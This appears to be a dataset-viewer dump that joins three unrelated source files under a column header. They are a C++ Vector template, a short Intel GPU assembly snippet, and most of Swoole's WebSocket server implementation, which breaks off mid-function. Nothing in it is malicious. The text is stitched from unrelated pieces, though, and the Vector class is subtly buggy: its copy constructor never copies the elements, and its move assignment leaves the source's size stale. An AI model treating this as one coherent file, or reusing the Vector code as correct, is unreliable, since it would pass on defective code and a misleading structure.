text stringlengths 1 1.05M |
|---|
#ifndef __VECTOR_H__
#define __VECTOR_H__
#include <cstddef>
#include <cassert>
#include <iostream>
template<typename T>
class Vector
{
public:
class iterator
{
public:
iterator(T *ptr) : ptr(ptr) {}
iterator& operator++() { ++ptr; return *this; }
bool operator!=(const iterator &it) const { return ptr != it.ptr; }
const T &operator*() const { return *ptr; }
private:
T *ptr;
};
private:
T *data;
std::size_t dim;
public:
Vector() : dim(0), data(nullptr) {}
Vector(std::size_t dim) : dim(dim), data(new T[dim]) {}
Vector(const Vector& v) : dim(v.dim), data(new T[v.dim]) {}
Vector(Vector&& v) noexcept : dim(v.dim), data(v.data) { v.data = nullptr; }
std::size_t size() const { return dim; }
T& operator[](std::size_t index) const {
assert(index < dim);
return data[index];
}
Vector &operator=(const Vector &w) {
if (w.dim != dim) {
if (dim != 0)
delete[] data;
if (w.dim != 0)
data = new T[w.dim];
else
data = nullptr;
dim = w.dim;
}
for (std::size_t i = 0; i < dim; ++i)
data[i] = w.data[i];
return *this;
}
Vector &operator=(Vector &&w) noexcept {
dim = w.dim;
std::swap(data, w.data);
return *this;
}
iterator begin() { return iterator(data); }
iterator end() { return iterator(data + dim); }
~Vector() {
if (data != nullptr)
delete[] data;
}
};
#endif |
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
(W&~f0.1)jmpi L176
L16:
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x50EB100:ud
mov (1|M0) r16.2<1>:ud 0x0:ud
add (1|M0) r25.1<1>:ud r7.12<0;1,0>:uw 0x2:ud
mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud
send (1|M0) r96:uw r16:ub 0x2 a0.0
mov (1|M0) a0.8<1>:uw 0xC00:uw
mov (1|M0) a0.9<1>:uw 0xC40:uw
mov (1|M0) a0.10<1>:uw 0xC80:uw
mov (1|M0) a0.11<1>:uw 0xCC0:uw
add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw
L176:
nop
|
/*
+----------------------------------------------------------------------+
| Swoole |
+----------------------------------------------------------------------+
| This source file is subject to version 2.0 of the Apache license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.apache.org/licenses/LICENSE-2.0.html |
| If you did not receive a copy of the Apache2.0 license and are unable|
| to obtain it through the world-wide-web, please send a note to |
| license@swoole.com so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Author: Tianfeng Han <mikan.tenny@gmail.com> |
+----------------------------------------------------------------------+
*/
#include "php_swoole_http_server.h"
#include <iostream>
SW_EXTERN_C_BEGIN
#include "ext/standard/url.h"
#include "ext/standard/sha1.h"
#include "ext/standard/php_var.h"
#include "ext/standard/php_string.h"
#include "ext/date/php_date.h"
#include "main/php_variables.h"
SW_EXTERN_C_END
#include "swoole_base64.h"
#include "thirdparty/swoole_http_parser.h"
using swoole::Server;
using swoole::Connection;
using swoole::ListenPort;
using swoole::String;
using swoole::RecvData;
using swoole::coroutine::Socket;
using swoole::SessionId;
using http_request = swoole::http::Request;
using http_response = swoole::http::Response;
using http_context = swoole::http::Context;
zend_class_entry *swoole_websocket_server_ce;
static zend_object_handlers swoole_websocket_server_handlers;
zend_class_entry *swoole_websocket_frame_ce;
static zend_object_handlers swoole_websocket_frame_handlers;
static zend_class_entry *swoole_websocket_closeframe_ce;
static zend_object_handlers swoole_websocket_closeframe_handlers;
SW_EXTERN_C_BEGIN
static PHP_METHOD(swoole_websocket_server, push);
static PHP_METHOD(swoole_websocket_server, isEstablished);
static PHP_METHOD(swoole_websocket_server, pack);
static PHP_METHOD(swoole_websocket_server, unpack);
static PHP_METHOD(swoole_websocket_server, disconnect);
static PHP_METHOD(swoole_websocket_frame, __toString);
SW_EXTERN_C_END
// clang-format off
ZEND_BEGIN_ARG_INFO_EX(arginfo_swoole_websocket_server_push, 0, 0, 2)
ZEND_ARG_INFO(0, fd)
ZEND_ARG_INFO(0, data)
ZEND_ARG_INFO(0, opcode)
ZEND_ARG_INFO(0, flags)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_swoole_websocket_server_disconnect, 0, 0, 1)
ZEND_ARG_INFO(0, fd)
ZEND_ARG_INFO(0, code)
ZEND_ARG_INFO(0, reason)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_swoole_websocket_server_pack, 0, 0, 1)
ZEND_ARG_INFO(0, data)
ZEND_ARG_INFO(0, opcode)
ZEND_ARG_INFO(0, flags)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_swoole_websocket_server_unpack, 0, 0, 1)
ZEND_ARG_INFO(0, data)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_swoole_websocket_server_isEstablished, 0, 0, 1)
ZEND_ARG_INFO(0, fd)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_swoole_websocket_frame_void, 0, 0, 0)
ZEND_END_ARG_INFO()
const zend_function_entry swoole_websocket_server_methods[] =
{
PHP_ME(swoole_websocket_server, push, arginfo_swoole_websocket_server_push, ZEND_ACC_PUBLIC)
PHP_ME(swoole_websocket_server, disconnect, arginfo_swoole_websocket_server_disconnect, ZEND_ACC_PUBLIC)
PHP_ME(swoole_websocket_server, isEstablished, arginfo_swoole_websocket_server_isEstablished, ZEND_ACC_PUBLIC)
PHP_ME(swoole_websocket_server, pack, arginfo_swoole_websocket_server_pack, ZEND_ACC_PUBLIC | ZEND_ACC_STATIC)
PHP_ME(swoole_websocket_server, unpack, arginfo_swoole_websocket_server_unpack, ZEND_ACC_PUBLIC | ZEND_ACC_STATIC)
PHP_FE_END
};
const zend_function_entry swoole_websocket_frame_methods[] =
{
PHP_ME(swoole_websocket_frame, __toString, arginfo_swoole_websocket_frame_void, ZEND_ACC_PUBLIC)
PHP_ME(swoole_websocket_server, pack, arginfo_swoole_websocket_server_pack, ZEND_ACC_PUBLIC | ZEND_ACC_STATIC)
PHP_ME(swoole_websocket_server, unpack, arginfo_swoole_websocket_server_unpack, ZEND_ACC_PUBLIC | ZEND_ACC_STATIC)
PHP_FE_END
};
// clang-format on
#ifdef SW_HAVE_ZLIB
static bool websocket_message_compress(String *buffer, const char *data, size_t length, int level);
static bool websocket_message_uncompress(String *buffer, const char *in, size_t in_len);
#endif
static void php_swoole_websocket_construct_frame(zval *zframe, zend_long opcode, zval *zpayload, uint8_t flags) {
if (opcode == WEBSOCKET_OPCODE_CLOSE) {
const char *payload = Z_STRVAL_P(zpayload);
size_t payload_length = Z_STRLEN_P(zpayload);
object_init_ex(zframe, swoole_websocket_closeframe_ce);
if (payload_length >= SW_WEBSOCKET_CLOSE_CODE_LEN) {
// WebSocket Close code
zend_update_property_long(swoole_websocket_closeframe_ce,
SW_Z8_OBJ_P(zframe),
ZEND_STRL("code"),
(payload[0] << 8) ^ (payload[1] & 0xFF));
if (payload_length > SW_WEBSOCKET_CLOSE_CODE_LEN) {
// WebSocket Close reason message
zend_update_property_stringl(swoole_websocket_closeframe_ce,
SW_Z8_OBJ_P(zframe),
ZEND_STRL("reason"),
payload + SW_WEBSOCKET_CLOSE_CODE_LEN,
payload_length - SW_WEBSOCKET_CLOSE_CODE_LEN);
}
}
} else {
object_init_ex(zframe, swoole_websocket_frame_ce);
zend_update_property(swoole_websocket_frame_ce, SW_Z8_OBJ_P(zframe), ZEND_STRL("data"), zpayload);
}
zend_update_property_long(swoole_websocket_frame_ce, SW_Z8_OBJ_P(zframe), ZEND_STRL("opcode"), opcode);
zend_update_property_long(swoole_websocket_frame_ce, SW_Z8_OBJ_P(zframe), ZEND_STRL("flags"), flags);
/* BC */
zend_update_property_bool(
swoole_websocket_frame_ce, SW_Z8_OBJ_P(zframe), ZEND_STRL("finish"), flags & SW_WEBSOCKET_FLAG_FIN);
}
void php_swoole_websocket_frame_unpack_ex(String *data, zval *zframe, uchar uncompress) {
swWebSocket_frame frame;
zval zpayload;
uint8_t flags;
if (data->length < sizeof(frame.header)) {
swoole_set_last_error(SW_ERROR_PROTOCOL_ERROR);
ZVAL_FALSE(zframe);
return;
}
swWebSocket_decode(&frame, data);
flags = swWebSocket_get_flags(&frame);
#ifdef SW_HAVE_ZLIB
if (uncompress && frame.header.RSV1) {
swoole_zlib_buffer->clear();
if (!websocket_message_uncompress(swoole_zlib_buffer, frame.payload, frame.payload_length)) {
swoole_set_last_error(SW_ERROR_PROTOCOL_ERROR);
ZVAL_FALSE(zframe);
return;
}
frame.payload = swoole_zlib_buffer->str;
frame.payload_length = swoole_zlib_buffer->length;
flags ^= (SW_WEBSOCKET_FLAG_RSV1 | SW_WEBSOCKET_FLAG_COMPRESS);
}
#endif
/* TODO: optimize memory copy */
ZVAL_STRINGL(&zpayload, frame.payload, frame.payload_length);
php_swoole_websocket_construct_frame(zframe, frame.header.OPCODE, &zpayload, flags);
zval_ptr_dtor(&zpayload);
}
void php_swoole_websocket_frame_unpack(String *data, zval *zframe) {
return php_swoole_websocket_frame_unpack_ex(data, zframe, 0);
}
static sw_inline int php_swoole_websocket_frame_pack_ex(String *buffer,
zval *zdata,
zend_long opcode,
zend_long code,
uint8_t flags,
zend_bool mask,
zend_bool allow_compress) {
char *data = nullptr;
size_t length = 0;
if (sw_unlikely(opcode > SW_WEBSOCKET_OPCODE_MAX)) {
php_swoole_fatal_error(E_WARNING, "the maximum value of opcode is %d", SW_WEBSOCKET_OPCODE_MAX);
return SW_ERR;
}
zend::String str_zdata;
if (zdata && !ZVAL_IS_NULL(zdata)) {
str_zdata = zdata;
data = str_zdata.val();
length = str_zdata.len();
}
if (mask) {
flags |= SW_WEBSOCKET_FLAG_MASK;
}
#ifdef SW_HAVE_ZLIB
if (flags & SW_WEBSOCKET_FLAG_COMPRESS) {
if (!allow_compress) {
flags ^= SW_WEBSOCKET_FLAG_COMPRESS;
} else if (length > 0) {
swoole_zlib_buffer->clear();
if (websocket_message_compress(swoole_zlib_buffer, data, length, Z_DEFAULT_COMPRESSION)) {
data = swoole_zlib_buffer->str;
length = swoole_zlib_buffer->length;
flags |= SW_WEBSOCKET_FLAG_RSV1;
}
}
}
#endif
switch (opcode) {
case WEBSOCKET_OPCODE_CLOSE:
return swWebSocket_pack_close_frame(buffer, code, data, length, flags);
default:
swWebSocket_encode(buffer, data, length, opcode, flags);
}
return SW_OK;
}
int php_swoole_websocket_frame_pack_ex(
String *buffer, zval *zdata, zend_long opcode, uint8_t flags, zend_bool mask, zend_bool allow_compress) {
return php_swoole_websocket_frame_pack_ex(
buffer, zdata, opcode, WEBSOCKET_CLOSE_NORMAL, flags, mask, allow_compress);
}
int php_swoole_websocket_frame_object_pack_ex(String *buffer, zval *zdata, zend_bool mask, zend_bool allow_compress) {
zval *zframe = zdata;
zend_long opcode = WEBSOCKET_OPCODE_TEXT;
zend_long code = WEBSOCKET_CLOSE_NORMAL;
zend_long flags = SW_WEBSOCKET_FLAG_FIN;
zval *ztmp = nullptr;
zdata = nullptr;
if ((ztmp = sw_zend_read_property_ex(swoole_websocket_frame_ce, zframe, SW_ZSTR_KNOWN(SW_ZEND_STR_OPCODE), 0))) {
opcode = zval_get_long(ztmp);
}
if (opcode == WEBSOCKET_OPCODE_CLOSE) {
if ((ztmp = sw_zend_read_property_not_null_ex(
swoole_websocket_frame_ce, zframe, SW_ZSTR_KNOWN(SW_ZEND_STR_CODE), 1))) {
code = zval_get_long(ztmp);
}
if ((ztmp = sw_zend_read_property_not_null_ex(
swoole_websocket_frame_ce, zframe, SW_ZSTR_KNOWN(SW_ZEND_STR_REASON), 1))) {
zdata = ztmp;
}
}
if (!zdata &&
(ztmp = sw_zend_read_property_ex(swoole_websocket_frame_ce, zframe, SW_ZSTR_KNOWN(SW_ZEND_STR_DATA), 0))) {
zdata = ztmp;
}
if ((ztmp = sw_zend_read_property_ex(swoole_websocket_frame_ce, zframe, SW_ZSTR_KNOWN(SW_ZEND_STR_FLAGS), 0))) {
flags = zval_get_long(ztmp) & SW_WEBSOCKET_FLAGS_ALL;
}
if ((ztmp = sw_zend_read_property_not_null_ex(
swoole_websocket_frame_ce, zframe, SW_ZSTR_KNOWN(SW_ZEND_STR_FINISH), 0))) {
if (zval_is_true(ztmp)) {
flags |= SW_WEBSOCKET_FLAG_FIN;
} else {
flags &= ~SW_WEBSOCKET_FLAG_FIN;
}
}
return php_swoole_websocket_frame_pack_ex(
buffer, zdata, opcode, code, flags & SW_WEBSOCKET_FLAGS_ALL, mask, allow_compress);
}
void swoole_websocket_onOpen(Server *serv, http_context *ctx) {
Connection *conn = serv->get_connection_by_session_id(ctx->fd);
if (!conn) {
swoole_error_log(SW_LOG_NOTICE, SW_ERROR_SESSION_CLOSED, "session[%ld] is closed", ctx->fd);
return;
}
zend_fcall_info_cache *fci_cache = php_swoole_server_get_fci_cache(serv, conn->server_fd, SW_SERVER_CB_onOpen);
if (fci_cache) {
zval args[2];
args[0] = *((zval *) serv->private_data_2);
args[1] = *ctx->request.zobject;
if (UNEXPECTED(!zend::function::call(fci_cache, 2, args, nullptr, SwooleG.enable_coroutine))) {
php_swoole_error(E_WARNING, "%s->onOpen handler error", ZSTR_VAL(swoole_websocket_server_ce->name));
serv->close(ctx->fd, false);
}
}
}
/**
* default onRequest callback
*/
void swoole_websocket_onRequest(http_context *ctx) {
const char *bad_request = "HTTP/1.1 400 Bad Request\r\n"
"Connection: close\r\n"
"Content-Type: text/html; charset=UTF-8\r\n"
"Cache-Control: must-revalidate,no-cache,no-store\r\n"
"Content-Length: 83\r\n"
"Server: " SW_HTTP_SERVER_SOFTWARE "\r\n\r\n"
"<html><body><h2>HTTP 400 Bad Request</h2><hr><i>Powered by Swoole</i></body></html>";
ctx->send(ctx, (char *) bad_request, strlen(bad_request));
ctx->end = 1;
ctx->close(ctx);
}
void php_swoole_sha1(const char *str, int _len, unsigned char *digest) {
PHP_SHA1_CTX context;
PHP_SHA1Init(&context);
PHP_SHA1Update(&context, (unsigned char *) str, _len);
PHP_SHA1Final(digest, &context);
}
bool swoole_websocket_handshake(http_context *ctx) {
char sec_buf[128];
zval *header = ctx->request.zheader;
HashTable *ht = Z_ARRVAL_P(header);
zval *pData;
zval retval;
if (!(pData = zend_hash_str_find(ht, ZEND_STRL("sec-websocket-key")))) {
_bad_request:
ctx->response.status = SW_HTTP_BAD_REQUEST;
swoole_http_response_end(ctx, nullptr, &retval);
return false;
}
zend::String str_pData(pData);
if (str_pData.len() != BASE64_ENCODE_OUT_SIZE(SW_WEBSOCKET_SEC_KEY_LEN)) {
goto _bad_request;
}
char sha1_str[20];
// sec_websocket_accept
memcpy(sec_buf, str_pData.val(), str_pData.len());
memcpy(sec_buf + str_pData.len(), SW_WEBSOCKET_GUID, sizeof(SW_WEBSOCKET_GUID) - 1);
// sha1 sec_websocket_accept
php_swoole_sha1(sec_buf, str_pData.len() + sizeof(SW_WEBSOCKET_GUID) - 1, (unsigned char *) sha1_str);
// base64 encode
int sec_len = swoole::base64_encode((unsigned char *) sha1_str, sizeof(sha1_str), sec_buf);
swoole_http_response_set_header(ctx, ZEND_STRL("Upgrade"), ZEND_STRL("websocket"), false);
swoole_http_response_set_header(ctx, ZEND_STRL("Connection"), ZEND_STRL("Upgrade"), false);
swoole_http_response_set_header(ctx, ZEND_STRL("Sec-WebSocket-Accept"), sec_buf, sec_len, false);
swoole_http_response_set_header(ctx, ZEND_STRL("Sec-WebSocket-Version"), ZEND_STRL(SW_WEBSOCKET_VERSION), false);
#ifdef SW_HAVE_ZLIB
bool enable_websocket_compression = true;
bool websocket_compression = false;
#endif
Server *serv = nullptr;
Connection *conn = nullptr;
if (!ctx->co_socket) {
serv = (Server *) ctx->private_data;
conn = serv->get_connection_by_session_id(ctx->fd);
if (!conn) {
swoole_error_log(SW_LOG_NOTICE, SW_ERROR_SESSION_CLOSED, "session[%ld] is closed", ctx->fd);
return false;
}
#ifdef SW_HAVE_ZLIB
enable_websocket_compression = serv->websocket_compression;
#endif
}
#ifdef SW_HAVE_ZLIB
else {
enable_websocket_compression = ctx->websocket_compression;
}
#endif
#ifdef SW_HAVE_ZLIB
if (enable_websocket_compression && (pData = zend_hash_str_find(ht, ZEND_STRL("sec-websocket-extensions"))) &&
Z_TYPE_P(pData) == IS_STRING) {
std::string value(Z_STRVAL_P(pData), Z_STRLEN_P(pData));
if (value.substr(0, value.find_first_of(';')) == "permessage-deflate") {
websocket_compression = true;
swoole_http_response_set_header(
ctx, ZEND_STRL("Sec-Websocket-Extensions"), ZEND_STRL(SW_WEBSOCKET_EXTENSION_DEFLATE), false);
}
}
#endif
if (conn) {
conn->websocket_status = WEBSOCKET_STATUS_ACTIVE;
ListenPort *port = serv->get_port_by_server_fd(conn->server_fd);
if (port && !port->websocket_subprotocol.empty()) {
swoole_http_response_set_header(ctx,
ZEND_STRL("Sec-WebSocket-Protocol"),
port->websocket_subprotocol.c_str(),
port->websocket_subprotocol.length(),
false);
}
#ifdef SW_HAVE_ZLIB
ctx->websocket_compression = conn->websocket_compression = websocket_compression;
#endif
} else {
Socket *sock = (Socket *) ctx->private_data;
sock->open_length_check = 1;
sock->protocol.package_length_size = SW_WEBSOCKET_HEADER_LEN;
sock->protocol.package_length_offset = 0;
sock->protocol.package_body_offset = 0;
sock->protocol.get_package_length = swWebSocket_get_package_length;
#ifdef SW_HAVE_ZLIB
ctx->websocket_compression = websocket_compression;
#endif
}
ctx->response.status = SW_HTTP_SWITCHING_PROTOCOLS;
ctx->upgrade = 1;
swoole_http_response_end(ctx, nullptr, &retval);
return Z_TYPE(retval) == IS_TRUE;
}
#ifdef SW_HAVE_ZLIB
static bool websocket_message_uncompress(String *buffer, const char *in, size_t in_len) {
z_stream zstream;
int status;
bool ret = false;
memset(&zstream, 0, sizeof(zstream));
zstream.zalloc = php_zlib_alloc;
zstream.zfree = php_zlib_free;
// gzip_stream.total_out = 0;
status = inflateInit2(&zstream, SW_ZLIB_ENCODING_RAW);
if (status != Z_OK) {
swWarn("inflateInit2() failed by %s", zError(status));
return false;
}
zstream.next_in = (Bytef *) in;
zstream.avail_in = in_len;
zstream.total_in = 0;
while (1) {
zstream.avail_out = buffer->size - buffer->length;
zstream.next_out = (Bytef *) (buffer->str + buffer->length);
status = inflate(&zstream, Z_SYNC_FLUSH);
if (status >= 0) {
buffer->length = zstream.total_out;
}
if (status == Z_STREAM_END || (status == Z_OK && zstream.avail_in == 0)) {
ret = true;
break;
}
if (status != Z_OK) {
break;
}
if (buffer->length + (SW_BUFFER_SIZE_STD / 2) >= buffer->size) {
if (!buffer->extend()) {
status = Z_MEM_ERROR;
break;
}
}
}
inflateEnd(&zstream);
if (!ret) {
swWarn("inflate() failed, Error: %s[%d]", zError(status), status);
return false;
}
return true;
}
static bool websocket_message_compress(String *buffer, const char *data, size_t length, int level) {
// ==== ZLIB ====
if (level == Z_NO_COMPRESSION) {
level = Z_DEFAULT_COMPRESSION;
} else if (level > Z_BEST_COMPRESSION) {
level = Z_BEST_COMPRESSION;
}
z_stream zstream = {};
int status;
zstream.zalloc = php_zlib_alloc;
zstream.zfree = php_zlib_free;
status = deflateInit2(&zstream, level, Z_DEFLATED, SW_ZLIB_ENCODING_RAW, MAX_MEM_LEVEL, Z_DEFAULT_STRATEGY);
if (status != Z_OK) {
swWarn("deflateInit2() failed, Error: [%d]", status);
return false;
}
zstream.next_in = (Bytef *) data;
zstream.avail_in = length;
zstream.next_out = (Bytef *) buffer->str;
size_t max_length = deflateBound(&zstream, length);
if (max_length > buffer->size) {
if (!buffer->extend(max_length)) {
return false;
}
}
size_t bytes_written = 0;
uchar in_sync_flush;
int result;
do {
size_t write_remaining;
if (zstream.avail_out == 0) {
size_t write_position;
zstream.avail_out = max_length;
write_position = buffer->length;
buffer->length = max_length;
zstream.next_out = (Bytef *) buffer->str + write_position;
/* Use a fixed value for buffer increments */
max_length = 4096;
}
write_remaining = buffer->length - bytes_written;
in_sync_flush = zstream.avail_in == 0;
result = deflate(&zstream, in_sync_flush ? Z_SYNC_FLUSH : Z_NO_FLUSH);
bytes_written += write_remaining - zstream.avail_out;
} while (result == Z_OK);
deflateEnd(&zstream);
if (result != Z_BUF_ERROR || bytes_written < 4) {
swWarn("Failed to compress outgoing frame");
return false;
}
if (status != Z_OK) {
swWarn("deflate() failed, Error: [%d]", status);
return false;
}
buffer->length = bytes_written - 4;
return true;
}
#endif
int swoole_websocket_onMessage(Server *serv, RecvData *req) {
SessionId fd = req->info.fd;
uchar flags = 0;
zend_long opcode = 0;
auto port = serv->get_port_by_session_id(fd);
if (!port) {
return SW_ERR;
}
zval zdata;
char frame_header[2];
memcpy(frame_header, &req->info.ext_flags, sizeof(frame_header));
php_swoole_get_recv_data(serv, &zdata, req);
// frame info has already decoded in swWebSocket_dispatch_frame
flags = frame_header[0];
opcode = frame_header[1];
if ((opcode == WEBSOCKET_OPCODE_CLOSE && !port->open_websocket_close_frame) ||
(opcode == WEBSOCKET_OPCODE_PING && !port->open_websocket_ping_frame) ||
(opcode == WEBSOCKET_OPCODE_PONG && !port->open_websocket_pong_frame)) {
if (opcode == WEBSOCKET_OPCODE_PING) {
String send_frame = {};
char buf[SW_WEBSOCKET_HEADER_LEN + SW_WEBSOCKET_CLOSE_CODE_LEN + SW_WEBSOCKET_CLOSE_REASON_MAX_LEN];
send_frame.str = buf;
send_frame.size = sizeof(buf);
swWebSocket_encode(&send_frame, req->data, req->info.len, WEBSOCKET_OPCODE_PONG, SW_WEBSOCKET_FLAG_FIN);
serv->send(fd, send_frame.str, send_frame.length);
}
zval_ptr_dtor(&zdata);
return SW_OK;
}
#ifdef SW_HAVE_ZLIB
/**
* RFC 7692
*/
if (serv->websocket_compression && (flags & SW_WEBSOCKET_FLAG_RSV1)) {
swoole_zlib_buffer->clear();
if (!websocket_message_uncompress(swoole_zlib_buffer, Z_STRVAL(zdata), Z_STRLEN(zdata))) {
zval_ptr_dtor(&zdata);
return SW_OK;
}
zval_ptr_dtor(&zdata);
ZVAL_STRINGL(&zdata, swoole_zlib_buffer->str, swoole_zlib_buffer->length);
flags ^= (SW_WEBSOCKET_FLAG_RSV1 | SW_WEBSOCKET_FLAG_COMPRESS);
}
#endif
zend_fcall_info_cache *fci_cache =
php_swoole_server_get_fci_cache(serv, req->info.server_fd, SW_SERVER_CB_onMessage);
zval args[2];
args[0] = *(zval *) serv->private_data_2;
php_swoole_websocket_construct_frame(&args[1], opcode, &zdata, flags);
zend_update_property_long(swoole_websocket_frame_ce, SW_Z8_OBJ_P(&args[1]), ZEND_STRL("fd"), fd);
if (UNEXPECTED(!zend::function::call(fci_cache, 2, args, nullptr, SwooleG.enable_coroutine))) {
php_swoole_error(E_WARNING, "%s->onMessage handler error", ZSTR_VAL(swoole_websocket_server_ce->name));
serv->close(fd, false);
}
zval_ptr_dtor(&zdata);
zval_ptr_dtor(&args[1]);
return SW_OK;
}
int swoole_websocket_onHandshake(Server *serv, ListenPort *port, http_context *ctx) {
SessionId fd = ctx->fd;
bool success = swoole_websocket_handshake(ctx);
if (success) {
swoole_websocket_onOpen(serv, ctx);
} else {
serv->close(fd, true);
}
return SW_OK;
}
void php_swoole_websocket_server_minit(int module_number) {
SW_INIT_CLASS_ENTRY_EX(swoole_websocket_server,
"Swoole\\WebSocket\\Server",
"swoole_websocket_server",
nullptr,
swoole_websocket_server_methods,
swoole_http_server);
SW_SET_CLASS_SERIALIZABLE(swoole_websocket_server, zend_class_serialize_deny, zend_class_unserialize_deny);
SW_SET_CLASS_CLONEABLE(swoole_websocket_server, sw_zend_class_clone_deny);
SW_SET_CLASS_UNSET_PROPERTY_HANDLER(swoole_websocket_server, sw_zend_class_unset_property_deny);
SW_INIT_CLASS_ENTRY(swoole_websocket_frame,
"Swoole\\WebSocket\\Frame",
"swoole_websocket_frame",
nullptr,
swoole_websocket_frame_methods);
zend_declare_property_long(swoole_websocket_frame_ce, ZEND_STRL("fd"), 0, ZEND_ACC_PUBLIC);
zend_declare_property_string(swoole_websocket_frame_ce, ZEND_STRL("data"), "", ZEND_ACC_PUBLIC);
zend_declare_property_long(swoole_websocket_frame_ce, ZEND_STRL("opcode"), WEBSOCKET_OPCODE_TEXT, ZEND_ACC_PUBLIC);
zend_declare_property_long(swoole_websocket_frame_ce, ZEND_STRL("flags"), SW_WEBSOCKET_FLAG_FIN, ZEND_ACC_PUBLIC);
zend_declare_property_null(swoole_websocket_frame_ce, ZEND_STRL("finish"), ZEND_ACC_PUBLIC);
SW_INIT_CLASS_ENTRY_EX(swoole_websocket_closeframe,
"Swoole\\WebSocket\\CloseFrame",
"swoole_websocket_closeframe",
nullptr,
nullptr,
swoole_websocket_frame);
zend_declare_property_long(
swoole_websocket_closeframe_ce, ZEND_STRL("opcode"), WEBSOCKET_OPCODE_CLOSE, ZEND_ACC_PUBLIC);
zend_declare_property_long(
swoole_websocket_closeframe_ce, ZEND_STRL("code"), WEBSOCKET_CLOSE_NORMAL, ZEND_ACC_PUBLIC);
zend_declare_property_string(swoole_websocket_closeframe_ce, ZEND_STRL("reason"), "", ZEND_ACC_PUBLIC);
/* {{{ swoole namespace */
// status
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_STATUS_CONNECTION", WEBSOCKET_STATUS_CONNECTION);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_STATUS_HANDSHAKE", WEBSOCKET_STATUS_HANDSHAKE);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_STATUS_ACTIVE", WEBSOCKET_STATUS_ACTIVE);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_STATUS_CLOSING", WEBSOCKET_STATUS_CLOSING);
// all opcodes
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_OPCODE_CONTINUATION", WEBSOCKET_OPCODE_CONTINUATION);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_OPCODE_TEXT", WEBSOCKET_OPCODE_TEXT);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_OPCODE_BINARY", WEBSOCKET_OPCODE_BINARY);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_OPCODE_CLOSE", WEBSOCKET_OPCODE_CLOSE);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_OPCODE_PING", WEBSOCKET_OPCODE_PING);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_OPCODE_PONG", WEBSOCKET_OPCODE_PONG);
// flags
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_FLAG_FIN", SW_WEBSOCKET_FLAG_FIN);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_FLAG_RSV1", SW_WEBSOCKET_FLAG_RSV1);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_FLAG_RSV2", SW_WEBSOCKET_FLAG_RSV2);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_FLAG_RSV3", SW_WEBSOCKET_FLAG_RSV3);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_FLAG_MASK", SW_WEBSOCKET_FLAG_MASK);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_FLAG_COMPRESS", SW_WEBSOCKET_FLAG_COMPRESS);
// close error
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_NORMAL", WEBSOCKET_CLOSE_NORMAL);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_GOING_AWAY", WEBSOCKET_CLOSE_GOING_AWAY);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_PROTOCOL_ERROR", WEBSOCKET_CLOSE_PROTOCOL_ERROR);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_DATA_ERROR", WEBSOCKET_CLOSE_DATA_ERROR);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_STATUS_ERROR", WEBSOCKET_CLOSE_STATUS_ERROR);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_ABNORMAL", WEBSOCKET_CLOSE_ABNORMAL);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_MESSAGE_ERROR", WEBSOCKET_CLOSE_MESSAGE_ERROR);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_POLICY_ERROR", WEBSOCKET_CLOSE_POLICY_ERROR);
